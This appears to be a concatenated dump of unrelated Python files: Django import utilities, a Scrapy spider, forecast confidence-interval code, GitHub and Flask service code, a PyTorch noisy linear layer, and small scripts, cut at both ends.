issubclass(sub_field.__class__, related.RelatedField)): related_model_field_name_list.append(sub_field.name) else: continue field_tuple_list.append((field_name, related_model_app_name, related_model_name, related_model_field_name_list)) return field_tuple_list def _get_relation_list(model): full_model_name = '.'.join([model.__module__, model.__name__]) relation_tuple_list = [] # Iterate over the fields for the provided model # and for each "related" type field, get the corresponding model # and model class name. for field_list in [model._meta.fields, model._meta.many_to_many]: for field in field_list: related_model_name = None related_model_app_name = None if (not field.name[-4:] == '_ptr') and (not field.__class__ == AutoField): if issubclass(field.__class__, related.RelatedField): if not field.__class__ == related.ForeignKey: #related_model_app_name = field.rel.to.__module__.split('.')[0] #related_model_app_name = __module_to_app_name__(field.rel.to.__module__) related_model_app_name = field.rel.to._meta.app_label # We'll ignore all django-specific models (such as User, etc). if not related_model_app_name == 'django': related_model_name = field.rel.to.__name__ full_related_model_name = '.'.join([field.rel.to.__module__, related_model_name]) relation_tuple_list.append((full_model_name+'%relation'+field.name+'%' + full_related_model_name, \ 'Mapping: ' + model.__name__ + '-' + \ related_model_name)) else: continue return relation_tuple_list class ModelImportInfo(object): """ The ModelImportInfo class handles all the management of the model information and which values from which spreadsheet cells go to which field values -- and a whole lot more. Basically it's a collection of assorted dictionaries of information allowing the import code to be a lot cleaner... """ IMPORT_COLUMN = 0 IS_IDENTITY = 1 DEFAULT_VALUE = 2 MAPPING_CHOICES = 3 OBJECT_IMPORT = 1 RELATIONSHIP_IMPORT = 2 def __init__(self, import_model_name, field_value_dict, relation_info_dict): self.import_model_name = import_model_name self.field_value_dict = field_value_dict self.relation_info_dict = relation_info_dict # Figure out import_mode from incoming model_for_import. self.import_mode = ModelImportInfo.OBJECT_IMPORT self.model_name_list = [] self.mapping_field_name = None import_model_info_list = import_model_name.split('%') self.model_name_list.append(import_model_info_list[0]) if len(import_model_info_list) > 1: self.model_name_list.append(import_model_info_list[2]) self.mapping_field_name = import_model_info_list[1].split('relation')[1] self.import_mode = ModelImportInfo.RELATIONSHIP_IMPORT # Get model objects for each model. self.model_list = [] for full_model_name in self.model_name_list: app_name = full_model_name.split('.')[0] model_name = full_model_name.split('.')[-1] model = get_model(app_name, model_name) self.model_list.append(model) self.model_for_import = self.model_list[0] if self.import_mode == ModelImportInfo.RELATIONSHIP_IMPORT: self.source_model = self.model_list[0] self.target_model = self.model_list[1] else: self.source_model = None self.target_model = None # Populate the various dictionaries we'll need later... self.base_field_names_by_model = {self.model_for_import.__name__: []} self.field_name_by_col_dict = {self.model_for_import.__name__: {}} self.default_by_field_name_dict = {self.model_for_import.__name__: {}} self.id_field_names_by_model_dict = {self.model_for_import.__name__: []} self.related_model_info_by_field_name_dict = {self.model_for_import.__name__: {}} self.field_value_override_dict = {self.model_for_import.__name__: {}} if self.import_mode == ModelImportInfo.RELATIONSHIP_IMPORT: self.base_field_names_by_model[self.target_model.__name__] = [] self.field_name_by_col_dict[self.target_model.__name__] = {} self.default_by_field_name_dict[self.target_model.__name__] = {} self.id_field_names_by_model_dict[self.target_model.__name__] = [] self.related_model_info_by_field_name_dict[self.target_model.__name__] = {} self.field_value_override_dict[self.target_model.__name__] = {} for field_name in self.field_value_dict.keys(): field_value = self.field_value_dict[field_name] full_field_name = field_name.split('-')[0] full_model_name = '.'.join(field_name.split('-')[0].split('.')[:-1]) field_name = ''.join(field_name.split('*')) field_name_parts = field_name.split('.') model_name = field_name_parts[-2] base_field_name, field_type = field_name_parts[-1].split('-') if not base_field_name in self.base_field_names_by_model[model_name]: self.base_field_names_by_model[model_name].append(base_field_name) if field_type == 'xls_column' and field_value > -1: self.field_name_by_col_dict[model_name][field_value] = base_field_name elif field_type == 'is_id_field' and field_value == 1: self.id_field_names_by_model_dict[model_name].append(base_field_name) elif field_type == 'default_value': self.default_by_field_name_dict[model_name][base_field_name] = field_value elif field_type == 'mapping_choice' and field_value: relation_info_tuple = self.relation_info_dict[full_field_name] self.related_model_info_by_field_name_dict[model_name][str(base_field_name)] = [relation_info_tuple[0], relation_info_tuple[1], str(field_value)] if batchimport_settings.BATCH_IMPORT_VALUE_OVERRIDES: #print 'in override code ' + full_model_name + ' ' + base_field_name try: override_value = batchimport_settings.BATCH_IMPORT_VALUE_OVERRIDES[full_model_name][base_field_name] self.field_value_override_dict[model_name][base_field_name] = override_value #print override_value except: pass def get_import_object_dicts(self, request, row_list): """Generate a dictionary of name:value entries in a dictionary that can be used later for obtaining an object from a manager.""" return self._get_object_dicts(request, row_list, self.model_for_import.__name__) def get_relationship_source_id_dict(self, request, row_list): """Generate a dictionary of name:value entries in a dictionary that can be used later for obtaining an object from a manager.""" return self._get_object_dicts(request, row_list, self.source_model.__name__)[1] def get_relationship_target_id_dict(self, request, row_list): """Generate a dictionary of name:value entries in a dictionary that can be used later for obtaining an object from a manager.""" return self._get_object_dicts(request, row_list, self.target_model.__name__)[1] def _get_object_dicts(self, request, row_list, model_name): """Generate a dictionary of name:value entries in a dictionary that can be used later for obtaining an object from a manager.""" import_object_dict = {} import_object_id_dict = {} total_field_list = [] total_field_list.extend(self.base_field_names_by_model[model_name]) # Get values for all the fields we can from the spreadsheet row... for index, cell_value in enumerate(row_list): if str(index) in self.field_name_by_col_dict[model_name].keys(): base_field_name = self.field_name_by_col_dict[model_name][str(index)] total_field_list.remove(base_field_name) field_value = self.get_field_value(request, base_field_name, model_name, cell_value) if field_value: import_object_dict[str(base_field_name)] = field_value if base_field_name in self.id_field_names_by_model_dict[model_name]: import_object_id_dict[str(base_field_name)] = field_value # Now process the leftovers (fields for the current model whose value # we can't get from the spreadsheet). for base_field_name in total_field_list: field_value = self.get_field_value(request, base_field_name, model_name, None) if field_value: import_object_dict[str(base_field_name)] = field_value if base_field_name in self.id_field_names_by_model_dict[model_name]: import_object_id_dict[str(base_field_name)] = field_value if not import_object_id_dict: import_object_id_dict = import_object_dict return import_object_dict, import_object_id_dict def get_field_value(self, request, base_field_name, model_name, start_value=None): field_value = None if self.import_mode == ModelImportInfo.OBJECT_IMPORT: default_value = self.default_by_field_name_dict[model_name][base_field_name] else: default_value = None field_value = start_value or default_value if field_value and base_field_name in self.related_model_info_by_field_name_dict[model_name].keys(): related_app_name, related_model_name, mapping_field_name = self.related_model_info_by_field_name_dict[model_name][base_field_name] related_object_keyword_dict = {} related_object_keyword_dict[str(mapping_field_name+'__iexact')] = str(field_value) related_model_class = get_model(related_app_name, related_model_name) try: related_object = related_model_class.objects.get(**related_object_keyword_dict) field_value = related_object except: field_value = None # Check for override field value and substitute it if available. try: field_value = self.field_value_override_dict[model_name][base_field_name] # Check to see if this references a function and if so, call it. override_items = field_value.split('.') if len(override_items) > 1: override_value_function_name = override_items[-1] override_value_module_name = '.'.join(override_items[:-1]) override_value_module = __import__(override_value_module_name, fromlist=[override_value_function_name]) override_value_function=getattr(override_value_module, override_value_function_name) field_value = override_value_function(request, start_value) except: pass return field_value """ 66 Shooshuns and Sequence - https://codeforces.com/problemset/problem/222/A """ from collections import defaultdict def main(): (n, k) = map(int, input().split(' ')) a = list(map(int, input().split(' '))) last = 0 c = 1 for ai in a: if ai == last: c += 1 else: c = 1 last = ai if c + k > n: return n - c else: return -1 print(main())""" Generate random graph. """ import random import networkx as nx def generate_nk_graph(n, k): graph = nx.generators.directed.random_k_out_graph(n, k, alpha=50, self_loops=False) return graph def make_two_player(graph): num_nodes = graph.number_of_nodes() p1_nodes = random.sample(range(num_nodes), k=int(num_nodes/2)) for i in range(num_nodes): if i in p1_nodes: graph.nodes[i]["turn"] = 1 else: graph.nodes[i]["turn"] = 2 return graph def label_actions(graph): return graph def generate_game_graph(n, k): graph = generate_nk_graph(n, k) graph = make_two_player(graph) graph = label_actions(graph) return graph from scrapy.spiders import Spider from qixiu.items import CarItem from scrapy import Request import math import re class CarSpider(Spider): name = 'car' start_urls = ['http://www.gzweix.com/article/sort0253/sort0254/list254_1.html'] base_url = 'http://www.gzweix.com' cars_url = '' def parse(self, response): item = CarItem() # 第一层 brands = response.xpath('//div[@id="mainBody6"]//span[@class="boxhead"]/a/text()').extract() brands_url = response.xpath('//div[@id="mainBody6"]//span[@class="boxhead"]/a/@href').extract() # 第二层 car_titles = response.xpath('//ul[@id="mainlistUL5"]/li[@class="mainlist_li5"]/span[@class="list_title5"]/a/text()').extract() article_urls = response.xpath('//ul[@id="mainlistUL5"]/li[@class="mainlist_li5"]/span[@class="list_title5"]/a/@href').extract() if brands: for brand in brands: item['brand'] = brand yield item if car_titles: for car_title in car_titles: item['car_title'] = car_title yield item if brands_url: for single_brand_url in brands_url: self.cars_url = self.base_url + single_brand_url yield Request(self.cars_url) # car 下一页 car_article_nums = response.xpath('//div[@class="mainNextPage5"]/var[@class="morePage"]/b[1]/text()').extract() car_article_num = 0 if car_article_nums: car_article_num = math.ceil(float(car_article_nums[0][3:])/30) if car_article_num > 1: for i in range(2, car_article_num+1): page = '_' + str(i) this_url = response.url next_cars_url = re.sub(r'_\d+', page, this_url) if next_cars_url: yield Request(next_cars_url) if article_urls: for single_article_url in article_urls: single_article_url = self.base_url + single_article_url yield Request(single_article_url) # 第三层；内容部分 news_content = response.xpath('//*[@id="mainNewsContent"]/p/text()').extract() if news_content: temp = '' for content in news_content: temp += content.strip() item['car_content'] = temp yield item AjayKhalsa/100-Days-of-Python N = int(input()) if N%2!=0: print("Weird") else: if N<=5: print("Not Weird") elif N<=20: print("Weird") else: print("Not Weird") 1-10 from django.urls import path from . import views urlpatterns = [ path('index/', views.baseview, name='index'), path('map/', views.FoliumView.as_view(), name='map'), ]import os import numpy as np import pandas as pd from matplotlib import pyplot as plt from matplotlib.lines import Line2D from scipy.interpolate import UnivariateSpline from precomputing import precompute_forecasts def confidence_intervals(cumul_observations, method, kwargs, smoothing_fun, incremental_history=[], smoothed_history = [], errortype="sqrt", H=7, inc_=1): """ Get confidence intervals and (optionally) plot the error bars cumul_observations: all cumulative cases history methods: list of methods references kwargs_list: list of dictionaries with parameters for each method errortype: from {"MSE", "MAE", "sqrt weighted MAE", "abs weighted MAE", "abs weighted MSE", "sqrt weighted MAE"}, where "sqrw" with weights sqrt(y)**(-1), "w" with weights (y)**(-1) output: quantiles, list with each element corresponding to method. element is an array of all 1,...,7 out of sample forecasts normalized errors """ # get prefictions for the next H=7 days cumul_forecasts = precompute_forecasts(incremental_history[-1], method, kwargs, smoothing_fun, incremental_history=incremental_history, smoothed_history=smoothed_history, Ws=2, H=H) npq = 5 #number of points to fit the tail coeff for extrapolation W = 7 # window size to compute weekly numbers k = ((inc_+1)*(19)+inc_) #for dashboard, daily confidence dforecasts = np.diff(cumul_forecasts, axis=1)[:-1,:] #-1 since the last one forecasts in the unknown future fc_len = np.shape(dforecasts)[0] weekly = pd.Series(np.diff(cumul_observations)).rolling(W).mean() #this is centered in -4 point, forecast for a week -H to -1 groundtruth = weekly[-k:] for i in range(H): forecast = dforecasts[-k-3-i:-3-i, i] AE = scale_q(forecast, weekly[-k:], errortype) q, qvals = compute_q(AE, inc_, npq) if i==0: qdf = pd.DataFrame(columns = ["horizon"]+q) qdf = qdf.append(pd.DataFrame(np.array([i]+qvals)[np.newaxis,:], columns= qdf.columns), ignore_index=True) # for evaluation and forecast of weekly numbers for i in range(1,int(H/7)+1): H_forecast = np.sum(np.diff(cumul_forecasts, axis=1)[:-1,:][:-i*7,(i-1)*7:i*7], axis=1) #i-weekly forecast H_week = pd.Series(np.diff(cumul_observations)).rolling(7).mean()*7 AE = scale_q(H_forecast[-k:], H_week[-k:], errortype) q, qvals = compute_q(AE, inc_, npq) qdf = qdf.append(pd.DataFrame(np.array(["w"+str(i)]+qvals)[np.newaxis,:], columns=qdf.columns), ignore_index=True) return qdf def lr(x,y, I=True): """ simple 1D linear regression with intercept x: list or array of 1d values y: response 1d list or array I: boolean whether to use intercept or not output alpha: intercept beta : linear coefficient """ x = np.array(x) y = np.array(y) meanx = np.mean(x) meany = np.mean(y) if I: beta = np.sum((x-meanx)*(y-meany))/np.sum((x-meanx)**2) alpha = meany - beta*meanx else: alpha = 0 beta = np.sum(y)/np.sum(x) return alpha, beta def scale_q(forecast, gtruth, errortype): """ returns the normalized deviation of forecast from gtruth for errortype normalization ("abs" or "sqrt") forecast: 1d forecast numbers gtruth: ground truth errortype: normalization type: abs or sqrt Output: normalized deciation of forecast from ground truth """ err = (gtruth-forecast) if "abs" in errortype: weights = (forecast + 1) ** (-1) if "sqrt" in errortype: weights = (forecast + 1) ** (-1 / 2) err = err * weights return err def compute_q(err, int_, npq): """ computing 19 quantiles with the step of level 0.05 and with extrapolation to 0.025 and 0.01 assuming the exponential tail input: err: deviation of the forecast from the ground truth int_: number of intermediate points to compute the empirical quantiles npq: number of empirical quantiles for each of the tail (right and left) to compute the parameters of exponential tail Output: quantiles: quantile levels qvales: corresponding empirical quantiles """ k = ((int_+1)*(19)+int_) quantiles = np.arange(0,k+1)/(k+1) quantiles05 = quantiles[::(int_+1)][1:] quantiles = quantiles[1:] r05 = range(int_,k,int_+1) err = np.sort(err) #estimated 19 quantiles with levels 0.05,0.1,...,0.95 err05 = [err[i] for i in r05] x = - np.array(err05[-npq:][::-1]) y = np.log(quantiles05[:npq]) #estimate the parameters of the right tale a,b = lr(x,y) q975 = -(np.log(0.025)-a)/b q99 = -(np.log(0.01)-a)/b #estimate the parameters of the left tale x = err05[:npq] a,b = lr(x,y) q025 = (np.log(0.025)-a)/b q01 = (np.log(0.01)-a)/b quantiles = [0.01,0.025] + list(quantiles05) + [0.975,0.99] quantiles = [str(round(i,3)) for i in quantiles] qvals = [q01, q025] + err05 +[q975, q99] return quantiles, qvals def cut_negatives(a): res = np.where(a>0,a,0) return res def normalize_back_add_mean(df_row, median, weights): """ inverse of normalization and shifting the values that the median in df_row matches with "median" additional cutting off the negative values df_row: a row from df median: values in df_row will be shifted after scaling that df_row["0.5"] contains "median" weights: for scaling Output: scaled and shifted row of DataFrame """ res = median + df_row.astype(float).values*weights - df_row["0.5"].astype(float).values*weights res = cut_negatives(res) return res def convert_quantiles_to_ci(ci, sm_concat, H, error_ci, coef_spline_smoothing=0): """ convert the computed quantiles for the normalized errors into the quantiles of the errors by scaling back with additional spline smoothing """ weights = np.ones((1,H)) weights_W = 1 q = list(set(ci.columns)-set(["horizon"])) forecast = np.diff(sm_concat[-H-1:]) if error_ci=="abs": weights = forecast + 1 if "sqrt" in error_ci: weights = np.sqrt(forecast + 1) # for the weekly forecast with horizon till int(H/7), evaluation for i in range(1,int(H/7)+1): if "sqrt" in error_ci: weights_W = (np.sum(forecast[(i-1)*7:i*7]) + 1) ** (1 / 2) if error_ci=="abs": weights_W = (np.sum(forecast[(i-1)*7:i*7]) + 1) ci.loc[ci["horizon"]=="w"+str(i), q] = normalize_back_add_mean(ci.loc[ci["horizon"]=="w"+str(i),q],np.sum(forecast[(i-1)*7:i*7]),weights_W) # for the daily forecast, for dashboard for i in range(H): ci.loc[ci["horizon"]==i,q] = normalize_back_add_mean(ci.loc[ci["horizon"]==i,q],forecast[i],weights[i]) # additional smoothing qn = len(ci.columns[1:]) for i,q in enumerate(ci.columns[1:]): conf_ = ci[q].values[:H] spl = UnivariateSpline(range(H),conf_) spl.set_smoothing_factor(coef_spline_smoothing*np.std(conf_)**2) conf_ = spl(range(H)) ci[q].values[:H] = conf_ return ci def save_ci(ci, date_, country, H, error_ci): """ prepare a DataFrame with CI for a country """ ci_full = ci date_ = [np.datetime64(x, 'D') for x in date_][-H:] for i in range(int(H/7)): date_ = date_ + [date_[i*H-1]] ci_full["date"] = date_ ci_full["country"] = [country] * (len(date_)) ci_full["confidence_norm"] = [error_ci] * (len(date_)) return ci_full from mgsc.service.service import GitService from mgsc.blueprints import Repository, Namespace class Github(GitService): @property def servertype(self): return "github" @property def repositories(self) -> Repository: all_repos = self.session.httpaction(http_verb="get", path=f"/user/repos").json() for repo in all_repos: yield Repository( name=repo["name"], namespace=repo["owner"]["login"], ssh_url=repo["ssh_url"], http_url=repo["clone_url"], description=repo["description"], ) def get_namespace_repos(self, namespace): group_projects = self.session.httpaction( "get", f"https://api.github.com/orgs/{namespace}/repos" ).json() for repo in group_projects: yield Repository( name=repo["name"], namespace=repo["owner"]["login"], ssh_url=repo["ssh_url"], http_url=repo["clone_url"], description=repo["description"], ) def get_namespaces(self) -> Namespace: namespaces = self.session.httpaction(http_verb="get", path="/user/orgs").json() for namespace in namespaces: yield Namespace( name=namespace["login"], parent="root", repositories=self._get_namespace_repos(namespace["path"]), ) @property def userid(self): userid = self.session.httpaction("get", "/user").json()["id"] return userid def create_namespace(self): raise NotImplementedError() def create_repository(self): raise NotImplementedError() 10-100 from pypbbot import app from pypbbot.testing import TestServer, TestClient from pypbbot.utils import Clips, sendBackClipsTo from pypbbot.typing import PrivateMessageEvent from pypbbot import BaseDriver import pytest import random import string class SimpleDriver(BaseDriver): async def onPrivateMessage(self, event: PrivateMessageEvent) -> None: message = event.raw_message if message.startswith('#echo '): await sendBackClipsTo(event, message.replace('#echo ', "")) app.driver_builder = SimpleDriver @pytest.mark.asyncio async def test_start_test_server(): with TestServer(app) as tserver: client = await TestClient(tserver).connect() somerandomwords = ''.join(random.choices( string.ascii_letters + string.digits, k=32)) await client.recvPrivateMessage(Clips.fromStr("#echo " + somerandomwords)) assert str(await client.expectPrivateReply()) == somerandomwords #!/usr/bin/python3 from pathlib import Path import argparse import asyncio import logging import os import re import shutil from cloud_test import download_images, test_images, image_from_path_re def parse_args(): parser = argparse.ArgumentParser( formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( '-u', '--urls', nargs='+', help='urls with images', ) parser.add_argument( '--no-check', action='store_true', help='does not check downloaded files', ) args = parser.parse_args() return args async def main(): args = parse_args() urls = args.urls images_dir = Path(os.path.expanduser(os.getenv('XDG_CACHE_HOME', '~/.cache')) + '/cloud-test/images') image_re = re.compile(r'alt-(?P[Ssp]\w+)-(?P[-\w]+)-' r'(?P\w+)\.(?P[a-z][.\w]*)') shutil.rmtree(images_dir) os.makedirs(images_dir) await download_images(urls, images_dir, image_re, no_check=args.no_check) images = [image_from_path_re(path, image_re) for path in images_dir.iterdir()] await test_images(images, images_dir) logging.getLogger("asyncio").setLevel(logging.DEBUG) # logging.getLogger("asyncio").setLevel(logging.WARNING) asyncio.run(main(), debug=True) # asyncio.run(main()) import logging from datetime import datetime, timezone from django.core.management.base import BaseCommand from django.db import connection from usaspending_api.broker import lookups from usaspending_api.broker.helpers.delete_fabs_transactions import delete_fabs_transactions from usaspending_api.broker.helpers.last_load_date import update_last_load_date from usaspending_api.broker.helpers.upsert_fabs_transactions import upsert_fabs_transactions from usaspending_api.broker.models import ExternalDataLoadDate from usaspending_api.common.helpers.date_helper import cast_datetime_to_naive, datetime_command_line_argument_type from usaspending_api.common.helpers.timing_helpers import timer from usaspending_api.common.retrieve_file_from_uri import RetrieveFileFromUri from usaspending_api.transactions.transaction_delete_journal_helpers import retrieve_deleted_fabs_transactions logger = logging.getLogger("script") SUBMISSION_LOOKBACK_MINUTES = 15 def get_last_load_date(): """ Wraps the get_load_load_date helper which is responsible for grabbing the last load date from the database. Without getting into too much detail, SUBMISSION_LOOKBACK_MINUTES is used to counter a very rare race condition where database commits are saved ever so slightly out of order with the updated_at timestamp. It will be subtracted from the last_run_date to ensure submissions with similar updated_at times do not fall through the cracks. An unfortunate side effect is that some submissions may be processed more than once which SHOULDN'T cause any problems but will add to the run time. To minimize this, keep the value as small as possible while still preventing skips. To be clear, the original fabs loader did this as well, just in a way that did not always prevent skips. """ from usaspending_api.broker.helpers.last_load_date import get_last_load_date last_load_date = get_last_load_date("fabs", SUBMISSION_LOOKBACK_MINUTES) if last_load_date is None: external_data_type_id = lookups.EXTERNAL_DATA_TYPE_DICT["fabs"] raise RuntimeError( "Unable to find last_load_date in table {} for external_data_type_id={}. " "If this is expected and the goal is to reload all submissions, supply the " "--reload-all switch on the command line.".format( ExternalDataLoadDate.objects.model._meta.db_table, external_data_type_id ) ) return last_load_date def _get_ids(sql, afa_ids, start_datetime, end_datetime): params = [] if afa_ids: sql += " and afa_generated_unique in %s" params.append(tuple(afa_ids)) if start_datetime: sql += " and updated_at >= %s" params.append(cast_datetime_to_naive(start_datetime)) if end_datetime: sql += " and updated_at < %s" params.append(cast_datetime_to_naive(end_datetime)) with connection.cursor() as cursor: cursor.execute(sql, params) return tuple(row[0] for row in cursor.fetchall()) def get_fabs_transaction_ids(afa_ids, start_datetime, end_datetime): sql = """ select published_award_financial_assistance_id from source_assistance_transaction where is_active is true """ ids = _get_ids(sql, afa_ids, start_datetime, end_datetime) logger.info("Number of records to insert/update: {:,}".format(len(ids))) return ids def read_afa_ids_from_file(afa_id_file_path): with RetrieveFileFromUri(afa_id_file_path).get_file_object() as f: return tuple(l.decode("utf-8").rstrip() for l in f if l) class Command(BaseCommand): help = ( "Update FABS data in USAspending from source data. Command line parameters " "are ANDed together so, for example, providing a transaction id and a " "submission id that do not overlap will result no new FABs records." ) def add_arguments(self, parser): parser.add_argument( "--reload-all", action="store_true", help="Reload all FABS transactions. Does not clear out USAspending " "FABS transactions beforehand. If omitted, all submissions from " "the last successful run will be loaded. THIS SETTING SUPERSEDES " "ALL OTHER PROCESSING OPTIONS.", ) parser.add_argument( "--afa-id-file", metavar="FILEPATH", type=str, help="A file containing only broker transaction IDs (afa_generated_unique) " "to reload, one ID per line. Nonexistent IDs will be ignored.", ) parser.add_argument( "--start-datetime", type=datetime_command_line_argument_type(naive=True), # Broker date/times are naive. help="Processes transactions updated on or after the UTC date/time " "provided. yyyy-mm-dd hh:mm:ss is always a safe format. Wrap in " "quotes if date/time contains spaces.", ) parser.add_argument( "--end-datetime", type=datetime_command_line_argument_type(naive=True), # Broker date/times are naive. help="Processes transactions updated prior to the UTC date/time " "provided. yyyy-mm-dd hh:mm:ss is always a safe format. Wrap in " "quotes if date/time contains spaces.", ) def handle(self, *args, **options): processing_start_datetime = datetime.now(timezone.utc) logger.info("Starting FABS data load script...") # "Reload all" supersedes all other processing options. reload_all = options["reload_all"] if reload_all: afa_ids = None start_datetime = None end_datetime = None else: afa_ids = read_afa_ids_from_file(options["afa_id_file"]) if options["afa_id_file"] else None start_datetime = options["start_datetime"] end_datetime = options["end_datetime"] # If no other processing options were provided than this is an incremental load. is_incremental_load = not any((reload_all, afa_ids, start_datetime, end_datetime)) if is_incremental_load: start_datetime = get_last_load_date() logger.info("Processing data for FABS starting from %s" % start_datetime) with timer("obtaining delete records", logger.info): delete_records = retrieve_deleted_fabs_transactions(start_datetime, end_datetime) ids_to_delete = [item for sublist in delete_records.values() for item in sublist if item] logger.info(f"{len(ids_to_delete):,} delete ids found in total") with timer("retrieving/diff-ing FABS Data", logger.info): ids_to_upsert = get_fabs_transaction_ids(afa_ids, start_datetime, end_datetime) update_award_ids = delete_fabs_transactions(ids_to_delete) upsert_fabs_transactions(ids_to_upsert, update_award_ids) if is_incremental_load: update_last_load_date("fabs", processing_start_datetime) logger.info("FABS UPDATE FINISHED!") import csv import os SPREADSHEET_DIR = None PLAINTEXT_DIR = None def spreadsheet_dir(request): global SPREADSHEET_DIR if not SPREADSHEET_DIR: SPREADSHEET_DIR = os.path.join(request.folder, 'uploads', 'csv') return SPREADSHEET_DIR def plaintext_dir(request): global PLAINTEXT_DIR if not PLAINTEXT_DIR: PLAINTEXT_DIR = os.path.join(request.folder, 'uploads', 'plaintext') return PLAINTEXT_DIR def save_spreadsheet(request, name, ssheet): if not os.path.isdir(spreadsheet_dir(request)): os.makedirs(spreadsheet_dir(request)) ss_fpath = os.path.join(spreadsheet_dir(request), name + '.csv') with open(ss_fpath, 'wb') as outfile: writer = csv.DictWriter(outfile, fieldnames=ssheet[0], delimiter=",") writer.writeheader() for row in ssheet[1:]: writer.writerow(row) def save_plaintext(request, name, ptext): if not os.path.isdir(plaintext_dir(request)): os.makedirs(plaintext_dir(request)) pt_fpath = os.path.join(plaintext_dir(request), name + '.txt') with open(pt_fpath, 'wb') as outfile: outfile.write(ptext) florianHoidn/spinningup import torch import torch.nn as nn import torch.nn.functional as F import numpy as np from spinup.models.pytorch.resnet import ResNet class NoisyLinear(nn.Linear): """ A linear layer with trainable Gaussian noise on the weights. See https://arxiv.org/abs/1706.10295 on why this type of parameter space noise can be a very effective way to improve exploration in RL agents. """ def __init__(self, in_features, out_features, bias=True): self.sigma_weight, self.sigma_bias = None, None super(NoisyLinear, self).__init__(in_features, out_features, bias=bias) self.sigma_weight = nn.Parameter(torch.Tensor(out_features, in_features))#, requires_grad=False) self.register_parameter('sigma_weight', self.sigma_weight) # TODO I thought that this shouldn't really be needed, but let's test. if bias: self.sigma_bias = nn.Parameter(torch.Tensor(out_features))#, requires_grad=False) self.register_parameter('sigma_bias', self.sigma_bias) else: self.register_parameter('sigma_bias', None) self.init_noise_scale = 1#1e-3 self.weight_noise = None self.bias_noise = None self.reset_noise_parameters() self.generate_parameter_noise(device=self.sigma_weight.device) def reset_parameters(self): super().reset_parameters() if self.sigma_weight is not None: self.reset_noise_parameters() def reset_noise_parameters(self): # Let's initialize the sigmas just like the weights and biases themselves. fan_sigma = nn.init._calculate_correct_fan(self.sigma_weight, 'fan_in') gain_sigma = nn.init.calculate_gain('leaky_relu', np.sqrt(5)) std_sigma = gain_sigma / np.sqrt(fan_sigma) bound_sigma = self.init_noise_scale * np.sqrt(3.0) * std_sigma with torch.no_grad(): nn.init.uniform_(self.sigma_weight, -bound_sigma, bound_sigma) if self.sigma_bias is not None: fan_bias, _ = nn.init._calculate_fan_in_and_fan_out(self.sigma_weight) bound_bias = self.init_noise_scale / np.sqrt(fan_bias) if fan_bias > 0 else 0 with torch.no_grad(): nn.init.uniform_(self.sigma_bias, -bound_bias, bound_bias) def forward(self, input): if self.weight_noise is None: return super().forward(input) self.generate_parameter_noise(device=self.sigma_weight.device) # In the anyrl framework, noise was generated like this on every forward pass. noisy_weights = self.weight + self.sigma_weight * self.weight_noise if self.bias is None: return F.linear(input, noisy_weights, self.bias) noisy_bias = self.bias + self.sigma_bias * self.bias_noise return F.linear(input, noisy_weights, noisy_bias) def generate_parameter_noise(self, device): self.weight_noise = torch.randn(size=(self.out_features, self.in_features), device=device, requires_grad=False) if self.bias is not None: self.bias_noise = torch.randn(size=(self.out_features,), device=device, requires_grad=False) # TODO rename to noisy_linear.py and treat independently from resnet. #def net(input_sizes, hidden_sizes, num_inner_res_blocks, output_sizes, activation, output_activation): # return ResNet(input_sizes, hidden_sizes, num_inner_res_blocks, output_sizes, activation, output_activation, linear_layer=NoisyLinear) #def get_default_kwargs(): # return {"input_sizes":[], "hidden_sizes":[256,256], "num_inner_res_blocks":3, "output_sizes":[], "activation":nn.ReLU, "output_activation":nn.Identity} import logging from flask import request from .. import tasks from ..application import db from ..exceptions import * from ..models import CopyJob from ..managers.auth_manager import token_required, get_logged_in_user @token_required def list(page_size=50, offset=0): owner = get_logged_in_user(request) copy_jobs = (CopyJob.query .filter_by(owner=owner) .order_by(CopyJob.id.desc()) .limit(page_size) .all() ) return copy_jobs @token_required def create(data): owner = get_logged_in_user(request) copy_job = CopyJob(**{ 'description': data.get('description', None), 'src_cloud_id': data.get('src_cloud_id', None), 'src_resource_path': data.get('src_resource_path', None), 'dst_cloud_id': data.get('dst_cloud_id', None), 'dst_resource_path': data.get('dst_resource_path', None), 'copy_links': data.get('copy_links', None), 'notification_email': data.get('notification_email', None), 'progress_current': 0, 'progress_total': 100, 'progress_state': "PROGRESS", 'owner': owner }) db.session.add(copy_job) db.session.commit() task_id = copy_job.id tasks.copy_job.apply_async(task_id=str(task_id), kwargs={ 'task_id': task_id, }) return copy_job @token_required def retrieve(id): copy_job = CopyJob.query.get(id) if copy_job is None: raise HTTP_404_NOT_FOUND('Copy Job with id {} not found'.format(id)) owner = get_logged_in_user(request) if copy_job.owner != owner: raise HTTP_404_NOT_FOUND('Copy Job with id {} not found'.format(id)) for _ in range(2): # Sometimes rabbitmq closes the connection! try: task = tasks.copy_job.AsyncResult(str(copy_job.id)) copy_job.progress_text = task.info.get('text', '') copy_job.progress_error_text = task.info.get('error_text', '') except Exception: pass else: logging.error("Rabbitmq closed the connection. Failing silently") try: textFromDB = copy_job.progress_error.split("|^|") try: copy_job.progress_text except: if len(textFromDB) > 0: copy_job.progress_text = textFromDB[0] if len(textFromDB) > 1: copy_job.progress_error_text = textFromDB[1] except: logging.error("no task output found in DB. Failing silently") return copy_job @token_required def stop(id): copy_job = retrieve(id) task = tasks.copy_job.AsyncResult(str(copy_job.id)) task.revoke(terminate=True) copy_job = CopyJob.query.get(id) # Avoid race conditions if copy_job.progress_state == 'PROGRESS': copy_job.progress_state = 'STOPPED' db.session.commit() return copy_job arischwartz/test #!/usr/bin/env python """ OTU_wideLong: convert OTU table from wide to long or vice versa Usage: OTU_wideLong [options] OTU_wideLong -h | --help OTU_wideLong --version Options: OTU table file. -w --wide Convert table to 'wide' format. -h --help Show this screen. --version Show version. --debug Debug mode Description: Re-format an OTU table (file produced from OTU_sim subcommand) to be either 'wide' (standard OTU table for QIIME, mothur, etc) or 'long' format (easier for plotting and other functions). By default, the output table is in 'long' format. For the 'wide' format, column names are formatted as '[library]__[fraction]' Output ------ A tab-delimieted OTU table written to STDOUT. """ # import ## batteries from docopt import docopt import os, sys ## application libraries from SIPSim.OTU_Table import OTU_table def main(args=None): otu_tbl = OTU_table.from_csv(args[''], sep='\t') index = False if args['--wide']: otu_tbl.long2wide(values='count',index='taxon', columns=['library','fraction']) index = True otu_tbl.to_csv(sys.stdout, sep='\t', index=index) def opt_parse(args=None): if args is None: args = docopt(__doc__, version='0.1') else: args = docopt(__doc__, version='0.1', argv=args) main(args) import requests import json import sys import urllib import threading query = "" for arg in sys.argv[1:]: query += arg+" " query = query.strip().replace(" ", "+") r = requests.get("https://api.github.com/search/repositories?q="+query) ret_me 